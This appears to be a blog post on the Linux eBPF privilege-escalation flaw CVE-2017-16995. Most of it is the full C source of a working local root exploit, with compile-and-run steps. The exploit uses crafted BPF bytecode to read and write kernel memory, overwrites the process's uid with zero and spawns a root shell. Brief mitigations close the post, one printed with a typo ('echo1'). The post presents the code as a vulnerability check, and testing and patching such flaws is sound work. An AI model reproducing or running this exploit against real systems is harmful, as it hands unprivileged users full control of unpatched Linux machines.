NOTE: PLEASE DO NOT USE IT TO ATTACK OTHER COMPUTERS.
CVE-2017-16995 has been fixed before. But it is broken again in many kernels of Debian and Ubuntu distributions, ranging from version 4.4 to 4.14.
It causes an arbitrary memory read/write access issue was found in the Linux kernel compiled with the eBPF bpf(2) system call (CONFIG_BPF_SYSCALL). The issue could occur due to calculation errors in the eBPF verifier module, triggered by user-supplied malicious BPF program. An unprivileged user could use this flaw to escalate their privileges on a system. Setting parameter “kernel.unprivileged_bpf_disabled=1” prevents such privilege escalation by restricting access to bpf(2) call.
Steps to Reproduce
Create a file named upstream44.c and paste the following code to it.
/*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/
// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
int sockets[2];
int mapfd, progfd;
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";
char bpf_log_buf[LOG_BUF_SIZE];
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
__exit(strerror(errno));
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);
return get_value(2);
}
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}
static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;
fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");
task_struct = __read(sp);
if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); // cred
if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");
uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}
__exit("not vulnerable?");
}
int main(int argc, char **argv) {
prep();
pwn();
return 0;
}
Then, compile it and make it executable:
gcc upstream44.c -o upstream44
chmod +x upstream44
./upstream44
If you get the following results, it turns out that your Linux is affected.
Solutions
Solution 1
You can simply fix this problem by modifying kernel parameters:
echo1 > /proc/sys/kernel/unprivileged_bpf_disabled
Solution 2
Upgrade your Linux kernel to the latest version.
The Disqus comment system is loading ...
If the message does not appear, please check your Disqus configuration.